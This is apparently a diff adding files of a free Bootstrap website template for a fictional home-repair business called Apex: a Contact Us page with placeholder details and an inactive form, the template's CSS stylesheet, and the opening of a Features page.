||||
<!-- JavaScript Libraries -->
|
||||
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="lib/wow/wow.min.js"></script>
|
||||
<script src="lib/easing/easing.min.js"></script>
|
||||
<script src="lib/waypoints/waypoints.min.js"></script>
|
||||
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
|
||||
|
||||
<!-- Template Javascript -->
|
||||
<script src="js/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,386 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Apex - Home Repair Website Template</title>
|
||||
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
|
||||
<meta content="" name="keywords" />
|
||||
<meta content="" name="description" />
|
||||
|
||||
<!-- Favicon -->
|
||||
<link href="img/favicon.ico" rel="icon" />
|
||||
|
||||
<!-- Google Web Fonts -->
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&family=Poppins:wght@600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Icon Font Stylesheet -->
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link
|
||||
href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Libraries Stylesheet -->
|
||||
<link href="lib/animate/animate.min.css" rel="stylesheet" />
|
||||
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Customized Bootstrap Stylesheet -->
|
||||
<link href="css/bootstrap.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Template Stylesheet -->
|
||||
<link href="css/style.css" rel="stylesheet" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Spinner Start -->
|
||||
<div
|
||||
id="spinner"
|
||||
class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center"
|
||||
>
|
||||
<div class="spinner-grow text-primary" role="status"></div>
|
||||
</div>
|
||||
<!-- Spinner End -->
|
||||
|
||||
<!-- Topbar Start -->
|
||||
<div class="container-fluid bg-light p-0">
|
||||
<div class="row gx-0 d-none d-lg-flex">
|
||||
<div class="col-lg-7 px-5 text-start">
|
||||
<div
|
||||
class="h-100 d-inline-flex align-items-center border-start border-end px-3"
|
||||
>
|
||||
<small class="fa fa-phone-alt me-2"></small>
|
||||
<small>+012 345 6789</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-envelope-open me-2"></small>
|
||||
<small>info@example.com</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-clock me-2"></small>
|
||||
<small>Mon - Fri : 09 AM - 09 PM</small>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-5 px-5 text-end">
|
||||
<div class="h-100 d-inline-flex align-items-center">
|
||||
<a class="btn btn-square border-end border-start" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-instagram"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Topbar End -->
|
||||
|
||||
<!-- Navbar Start -->
|
||||
<nav
|
||||
class="navbar navbar-expand-lg bg-white navbar-light sticky-top px-4 px-lg-5 py-lg-0"
|
||||
>
|
||||
<a href="index.html" class="navbar-brand d-flex align-items-center">
|
||||
<h1 class="m-0">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
</a>
|
||||
<button
|
||||
type="button"
|
||||
class="navbar-toggler"
|
||||
data-bs-toggle="collapse"
|
||||
data-bs-target="#navbarCollapse"
|
||||
>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarCollapse">
|
||||
<div class="navbar-nav ms-auto py-3 py-lg-0">
|
||||
<a href="index.html" class="nav-item nav-link">Home</a>
|
||||
<a href="about.html" class="nav-item nav-link">About Us</a>
|
||||
<a href="service.html" class="nav-item nav-link">Our Services</a>
|
||||
<div class="nav-item dropdown">
|
||||
<a
|
||||
href="#"
|
||||
class="nav-link dropdown-toggle"
|
||||
data-bs-toggle="dropdown"
|
||||
>Pages</a
|
||||
>
|
||||
<div class="dropdown-menu bg-light m-0">
|
||||
<a href="feature.html" class="dropdown-item">Features</a>
|
||||
<a href="appointment.html" class="dropdown-item">Appointment</a>
|
||||
<a href="team.html" class="dropdown-item">Our Team</a>
|
||||
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
|
||||
<a href="404.html" class="dropdown-item">404 Page</a>
|
||||
</div>
|
||||
</div>
|
||||
<a href="contact.html" class="nav-item nav-link active">Contact Us</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
<!-- Navbar End -->
|
||||
|
||||
<!-- Page Header Start -->
|
||||
<div
|
||||
class="container-fluid page-header py-5 mb-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container text-center py-5">
|
||||
<h1 class="display-4 text-white animated slideInDown mb-4">
|
||||
Contact Us
|
||||
</h1>
|
||||
<nav aria-label="breadcrumb animated slideInDown">
|
||||
<ol class="breadcrumb justify-content-center mb-0">
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Home</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Pages</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item text-primary active" aria-current="page">
|
||||
Contact Us
|
||||
</li>
|
||||
</ol>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Page Header End -->
|
||||
|
||||
<!-- Contact Start -->
|
||||
<div class="container-xxl py-5">
|
||||
<div class="container">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="row g-4 align-items-center">
|
||||
<div class="col-sm-6">
|
||||
<img class="img-fluid" src="img/team-1.jpg" alt="" />
|
||||
</div>
|
||||
<div class="col-sm-6">
|
||||
<h3 class="mb-0">Full Name</h3>
|
||||
<p>Head of Sales</p>
|
||||
<h6>Contact Details</h6>
|
||||
<p>
|
||||
Lorem ipsum dolor sit amet conse elit sed eiu smod lab ore.
|
||||
</p>
|
||||
<p class="mb-0">Call: +012 345 6789</p>
|
||||
<p class="mb-0">Email: sales@example.com</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="row g-4 align-items-center">
|
||||
<div class="col-sm-6">
|
||||
<img class="img-fluid" src="img/team-2.jpg" alt="" />
|
||||
</div>
|
||||
<div class="col-sm-6">
|
||||
<h3 class="mb-0">Full Name</h3>
|
||||
<p>Head of Marketing</p>
|
||||
<h6>Contact Details</h6>
|
||||
<p>
|
||||
Lorem ipsum dolor sit amet conse elit sed eiu smod lab ore.
|
||||
</p>
|
||||
<p class="mb-0">Call: +012 345 6789</p>
|
||||
<p class="mb-0">Email: sales@example.com</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
class="col-lg-6 wow fadeInUp"
|
||||
data-wow-delay="0.1s"
|
||||
style="min-height: 450px"
|
||||
>
|
||||
<div class="position-relative h-100">
|
||||
<iframe
|
||||
class="position-relative w-100 h-100"
|
||||
src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3001156.4288297426!2d-78.01371936852176!3d42.72876761954724!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4ccc4bf0f123a5a9%3A0xddcfc6c1de189567!2sNew%20York%2C%20USA!5e0!3m2!1sen!2sbd!4v1603794290143!5m2!1sen!2sbd"
|
||||
frameborder="0"
|
||||
style="min-height: 450px; border: 0"
|
||||
allowfullscreen=""
|
||||
aria-hidden="false"
|
||||
tabindex="0"
|
||||
></iframe>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.5s">
|
||||
<div class="border-start border-5 border-primary ps-4 mb-5">
|
||||
<h6 class="text-body text-uppercase mb-2">Contact Us</h6>
|
||||
<h1 class="display-6 mb-0">
|
||||
If You Have Any Query, Please Contact Us
|
||||
</h1>
|
||||
</div>
|
||||
<p class="mb-4">
|
||||
The contact form is currently inactive. Get a functional and
|
||||
working contact form with Ajax & PHP in a few minutes. Just copy
|
||||
and paste the files, add a little code and you're done.
|
||||
<a href="https://htmlcodex.com/contact-form">Download Now</a>.
|
||||
</p>
|
||||
<form>
|
||||
<div class="row g-3">
|
||||
<div class="col-md-6">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="text"
|
||||
class="form-control border-0 bg-light"
|
||||
id="name"
|
||||
placeholder="Your Name"
|
||||
/>
|
||||
<label for="name">Your Name</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="email"
|
||||
class="form-control border-0 bg-light"
|
||||
id="email"
|
||||
placeholder="Your Email"
|
||||
/>
|
||||
<label for="email">Your Email</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-12">
|
||||
<div class="form-floating">
|
||||
<input
|
||||
type="text"
|
||||
class="form-control border-0 bg-light"
|
||||
id="subject"
|
||||
placeholder="Subject"
|
||||
/>
|
||||
<label for="subject">Subject</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-12">
|
||||
<div class="form-floating">
|
||||
<textarea
|
||||
class="form-control border-0 bg-light"
|
||||
placeholder="Leave a message here"
|
||||
id="message"
|
||||
style="height: 150px"
|
||||
></textarea>
|
||||
<label for="message">Message</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-12">
|
||||
<button class="btn btn-primary py-3 px-5" type="submit">
|
||||
Send Message
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Contact End -->
|
||||
|
||||
<!-- Footer Start -->
|
||||
<div
|
||||
class="container-fluid bg-dark footer mt-5 pt-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container py-5">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h1 class="text-white mb-4">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
<p>
|
||||
Diam dolor diam ipsum sit. Aliqu diam amet diam et eos. Clita erat
|
||||
ipsum et lorem et sit, sed stet lorem sit clita
|
||||
</p>
|
||||
<div class="d-flex pt-2">
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-youtube"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-0" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Address</h4>
|
||||
<p>
|
||||
<i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA
|
||||
</p>
|
||||
<p><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p>
|
||||
<p><i class="fa fa-envelope me-3"></i>info@example.com</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Quick Links</h4>
|
||||
<a class="btn btn-link" href="">About Us</a>
|
||||
<a class="btn btn-link" href="">Contact Us</a>
|
||||
<a class="btn btn-link" href="">Our Services</a>
|
||||
<a class="btn btn-link" href="">Terms & Condition</a>
|
||||
<a class="btn btn-link" href="">Support</a>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Newsletter</h4>
|
||||
<p>Dolor amet sit justo amet elitr clita ipsum elitr est.</p>
|
||||
<div class="position-relative mx-auto" style="max-width: 400px">
|
||||
<input
|
||||
class="form-control bg-transparent w-100 py-3 ps-4 pe-5"
|
||||
type="text"
|
||||
placeholder="Your email"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="btn btn-primary py-2 position-absolute top-0 end-0 mt-2 me-2"
|
||||
>
|
||||
SignUp
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container-fluid copyright">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6 text-center text-md-start mb-3 mb-md-0">
|
||||
© <a href="#">Your Site Name</a>, All Right Reserved.
|
||||
</div>
|
||||
<div class="col-md-6 text-center text-md-end">
|
||||
<!--/*** This template is free as long as you keep the footer author’s credit link/attribution link/backlink. If you'd like to use the template without the footer author’s credit link/attribution link/backlink, you can purchase the Credit Removal License from "https://htmlcodex.com/credit-removal". Thank you for your support. ***/-->
|
||||
Designed By <a href="https://htmlcodex.com">HTML Codex</a>
|
||||
<br />Distributed By:
|
||||
<a href="https://themewagon.com" target="_blank">ThemeWagon</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Footer End -->
|
||||
|
||||
<!-- Back to Top -->
|
||||
<a href="#" class="btn btn-lg btn-primary btn-lg-square back-to-top"
|
||||
><i class="bi bi-arrow-up"></i
|
||||
></a>
|
||||
|
||||
<!-- JavaScript Libraries -->
|
||||
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="lib/wow/wow.min.js"></script>
|
||||
<script src="lib/easing/easing.min.js"></script>
|
||||
<script src="lib/waypoints/waypoints.min.js"></script>
|
||||
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
|
||||
|
||||
<!-- Template Javascript -->
|
||||
<script src="js/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,357 @@
|
||||
/********** Template CSS **********/
|
||||
:root {
|
||||
--primary: #FDA12B;
|
||||
--secondary: #8D9297;
|
||||
--light: #F8F9FA;
|
||||
--dark: #182333;
|
||||
}
|
||||
|
||||
.back-to-top {
|
||||
position: fixed;
|
||||
display: none;
|
||||
right: 30px;
|
||||
bottom: 30px;
|
||||
z-index: 99;
|
||||
}
|
||||
|
||||
|
||||
/*** Spinner ***/
|
||||
#spinner {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
transition: opacity .5s ease-out, visibility 0s linear .5s;
|
||||
z-index: 99999;
|
||||
}
|
||||
|
||||
#spinner.show {
|
||||
transition: opacity .5s ease-out, visibility 0s linear 0s;
|
||||
visibility: visible;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
|
||||
/*** Button ***/
|
||||
.btn {
|
||||
font-weight: 500;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.btn.btn-primary,
|
||||
.btn.btn-outline-primary:hover {
|
||||
color: #FFFFFF;
|
||||
}
|
||||
|
||||
.btn-square {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
}
|
||||
|
||||
.btn-sm-square {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
}
|
||||
|
||||
.btn-lg-square {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
}
|
||||
|
||||
.btn-square,
|
||||
.btn-sm-square,
|
||||
.btn-lg-square {
|
||||
padding: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
|
||||
/*** Navbar ***/
|
||||
.navbar.sticky-top {
|
||||
top: -100px;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.navbar .navbar-nav .nav-link {
|
||||
margin-left: 30px;
|
||||
padding: 25px 0;
|
||||
color: var(--secondary);
|
||||
font-weight: 500;
|
||||
text-transform: uppercase;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.navbar .navbar-nav .nav-link:hover,
|
||||
.navbar .navbar-nav .nav-link.active {
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.navbar .dropdown-toggle::after {
|
||||
border: none;
|
||||
content: "\f107";
|
||||
font-family: "Font Awesome 5 Free";
|
||||
font-weight: 900;
|
||||
vertical-align: middle;
|
||||
margin-left: 8px;
|
||||
}
|
||||
|
||||
@media (max-width: 991.98px) {
|
||||
.navbar .navbar-nav .nav-link {
|
||||
margin-left: 0;
|
||||
padding: 10px 0;
|
||||
}
|
||||
|
||||
.navbar .navbar-nav {
|
||||
margin-top: 25px;
|
||||
border-top: 1px solid #EEEEEE;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 992px) {
|
||||
.navbar .nav-item .dropdown-menu {
|
||||
display: block;
|
||||
border: none;
|
||||
margin-top: 0;
|
||||
top: 150%;
|
||||
right: 0;
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.navbar .nav-item:hover .dropdown-menu {
|
||||
top: 100%;
|
||||
visibility: visible;
|
||||
transition: .5s;
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*** Header ***/
|
||||
.carousel-caption {
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
text-align: start;
|
||||
background: rgba(0, 0, 0, .65);
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.carousel-control-prev,
|
||||
.carousel-control-next {
|
||||
width: 15%;
|
||||
}
|
||||
|
||||
.carousel-control-prev-icon,
|
||||
.carousel-control-next-icon {
|
||||
width: 4rem;
|
||||
height: 4rem;
|
||||
background-color: var(--dark);
|
||||
border: 15px solid var(--dark);
|
||||
border-radius: 50px;
|
||||
}
|
||||
|
||||
.carousel-caption .breadcrumb-item+.breadcrumb-item::before {
|
||||
content: "\f111";
|
||||
font-family: "Font Awesome 5 Free";
|
||||
font-weight: 900;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
#header-carousel .carousel-item {
|
||||
position: relative;
|
||||
min-height: 450px;
|
||||
}
|
||||
|
||||
#header-carousel .carousel-item img {
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
object-fit: cover;
|
||||
}
|
||||
|
||||
.carousel-control-prev-icon,
|
||||
.carousel-control-next-icon {
|
||||
width: 3rem;
|
||||
height: 3rem;
|
||||
border-width: 12px;
|
||||
}
|
||||
}
|
||||
|
||||
.page-header {
|
||||
background: linear-gradient(rgba(0, 0, 0, .65), rgba(0, 0, 0, .65)), url(../img/carousel-1.jpg) center center no-repeat;
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.page-header .breadcrumb-item+.breadcrumb-item::before {
|
||||
color: #999999;
|
||||
}
|
||||
|
||||
|
||||
/*** Facts ***/
|
||||
.facts-overlay {
|
||||
position: absolute;
|
||||
padding: 30px;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
top: 0;
|
||||
left: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
background: rgba(0, 0, 0, .65);
|
||||
}
|
||||
|
||||
.facts-overlay h1 {
|
||||
font-size: 120px;
|
||||
color: transparent;
|
||||
-webkit-text-stroke: 2px var(--primary);
|
||||
}
|
||||
|
||||
.facts-overlay a:hover {
|
||||
color: var(--primary) !important;
|
||||
}
|
||||
|
||||
|
||||
/*** Service ***/
|
||||
.service-text::before {
|
||||
position: absolute;
|
||||
content: "";
|
||||
width: 100%;
|
||||
height: 0;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background: var(--primary);
|
||||
opacity: 0;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.service-item:hover .service-text::before {
|
||||
height: 100%;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.service-text * {
|
||||
position: relative;
|
||||
transition: .5s;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.service-item:hover .service-text * {
|
||||
color: #FFFFFF !important;
|
||||
}
|
||||
|
||||
|
||||
/*** Appointment ***/
|
||||
.appointment {
|
||||
background: linear-gradient(rgba(0, 0, 0, .65), rgba(0, 0, 0, .65)), url(../img/carousel-2.jpg) center center no-repeat;
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
|
||||
/*** Team ***/
|
||||
.team-text {
|
||||
position: absolute;
|
||||
width: 75%;
|
||||
bottom: 30px;
|
||||
left: 0;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.team-item:hover .team-text {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.team-text * {
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.team-item:hover .team-text * {
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
|
||||
/*** Testimonial ***/
|
||||
.testimonial-carousel .owl-item img {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
}
|
||||
|
||||
.testimonial-carousel .owl-nav {
|
||||
margin-top: 30px;
|
||||
display: flex;
|
||||
justify-content: start;
|
||||
}
|
||||
|
||||
.testimonial-carousel .owl-nav .owl-prev,
|
||||
.testimonial-carousel .owl-nav .owl-next {
|
||||
margin-right: 15px;
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: var(--dark);
|
||||
border: 2px solid var(--primary);
|
||||
border-radius: 50px;
|
||||
font-size: 18px;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.testimonial-carousel .owl-nav .owl-prev:hover,
|
||||
.testimonial-carousel .owl-nav .owl-next:hover {
|
||||
color: #FFFFFF;
|
||||
background: var(--primary);
|
||||
}
|
||||
|
||||
|
||||
/*** Footer ***/
|
||||
.footer {
|
||||
color: #999999;
|
||||
}
|
||||
|
||||
.footer .btn.btn-link {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
color: #999999;
|
||||
font-weight: normal;
|
||||
text-transform: capitalize;
|
||||
transition: .3s;
|
||||
}
|
||||
|
||||
.footer .btn.btn-link::before {
|
||||
position: relative;
|
||||
content: "\f105";
|
||||
font-family: "Font Awesome 5 Free";
|
||||
font-weight: 900;
|
||||
color: #999999;
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
.footer .btn.btn-link:hover {
|
||||
color: var(--light);
|
||||
letter-spacing: 1px;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.footer .copyright {
|
||||
padding: 25px 0;
|
||||
font-size: 15px;
|
||||
border-top: 1px solid rgba(256, 256, 256, .1);
|
||||
}
|
||||
|
||||
.footer .copyright a {
|
||||
color: var(--light);
|
||||
}
|
||||
|
||||
.footer .copyright a:hover {
|
||||
color: var(--primary);
|
||||
}
|
||||
@@ -0,0 +1,426 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>Apex - Home Repair Website Template</title>
|
||||
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
|
||||
<meta content="" name="keywords" />
|
||||
<meta content="" name="description" />
|
||||
|
||||
<!-- Favicon -->
|
||||
<link href="img/favicon.ico" rel="icon" />
|
||||
|
||||
<!-- Google Web Fonts -->
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&family=Poppins:wght@600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Icon Font Stylesheet -->
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link
|
||||
href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<!-- Libraries Stylesheet -->
|
||||
<link href="lib/animate/animate.min.css" rel="stylesheet" />
|
||||
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Customized Bootstrap Stylesheet -->
|
||||
<link href="css/bootstrap.min.css" rel="stylesheet" />
|
||||
|
||||
<!-- Template Stylesheet -->
|
||||
<link href="css/style.css" rel="stylesheet" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Spinner Start -->
|
||||
<div
|
||||
id="spinner"
|
||||
class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center"
|
||||
>
|
||||
<div class="spinner-grow text-primary" role="status"></div>
|
||||
</div>
|
||||
<!-- Spinner End -->
|
||||
|
||||
<!-- Topbar Start -->
|
||||
<div class="container-fluid bg-light p-0">
|
||||
<div class="row gx-0 d-none d-lg-flex">
|
||||
<div class="col-lg-7 px-5 text-start">
|
||||
<div
|
||||
class="h-100 d-inline-flex align-items-center border-start border-end px-3"
|
||||
>
|
||||
<small class="fa fa-phone-alt me-2"></small>
|
||||
<small>+012 345 6789</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-envelope-open me-2"></small>
|
||||
<small>info@example.com</small>
|
||||
</div>
|
||||
<div class="h-100 d-inline-flex align-items-center border-end px-3">
|
||||
<small class="far fa-clock me-2"></small>
|
||||
<small>Mon - Fri : 09 AM - 09 PM</small>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-5 px-5 text-end">
|
||||
<div class="h-100 d-inline-flex align-items-center">
|
||||
<a class="btn btn-square border-end border-start" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
<a class="btn btn-square border-end" href=""
|
||||
><i class="fab fa-instagram"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Topbar End -->
|
||||
|
||||
<!-- Navbar Start -->
|
||||
<nav
|
||||
class="navbar navbar-expand-lg bg-white navbar-light sticky-top px-4 px-lg-5 py-lg-0"
|
||||
>
|
||||
<a href="index.html" class="navbar-brand d-flex align-items-center">
|
||||
<h1 class="m-0">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
</a>
|
||||
<button
|
||||
type="button"
|
||||
class="navbar-toggler"
|
||||
data-bs-toggle="collapse"
|
||||
data-bs-target="#navbarCollapse"
|
||||
>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarCollapse">
|
||||
<div class="navbar-nav ms-auto py-3 py-lg-0">
|
||||
<a href="index.html" class="nav-item nav-link">Home</a>
|
||||
<a href="about.html" class="nav-item nav-link">About Us</a>
|
||||
<a href="service.html" class="nav-item nav-link">Our Services</a>
|
||||
<div class="nav-item dropdown">
|
||||
<a
|
||||
href="#"
|
||||
class="nav-link dropdown-toggle active"
|
||||
data-bs-toggle="dropdown"
|
||||
>Pages</a
|
||||
>
|
||||
<div class="dropdown-menu bg-light m-0">
|
||||
<a href="feature.html" class="dropdown-item active">Features</a>
|
||||
<a href="appointment.html" class="dropdown-item">Appointment</a>
|
||||
<a href="team.html" class="dropdown-item">Our Team</a>
|
||||
<a href="testimonial.html" class="dropdown-item">Testimonial</a>
|
||||
<a href="404.html" class="dropdown-item">404 Page</a>
|
||||
</div>
|
||||
</div>
|
||||
<a href="contact.html" class="nav-item nav-link">Contact Us</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
<!-- Navbar End -->
|
||||
|
||||
<!-- Page Header Start -->
|
||||
<div
|
||||
class="container-fluid page-header py-5 mb-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container text-center py-5">
|
||||
<h1 class="display-4 text-white animated slideInDown mb-4">Features</h1>
|
||||
<nav aria-label="breadcrumb animated slideInDown">
|
||||
<ol class="breadcrumb justify-content-center mb-0">
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Home</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item">
|
||||
<a class="text-white" href="#">Pages</a>
|
||||
</li>
|
||||
<li class="breadcrumb-item text-primary active" aria-current="page">
|
||||
Features
|
||||
</li>
|
||||
</ol>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Page Header End -->
|
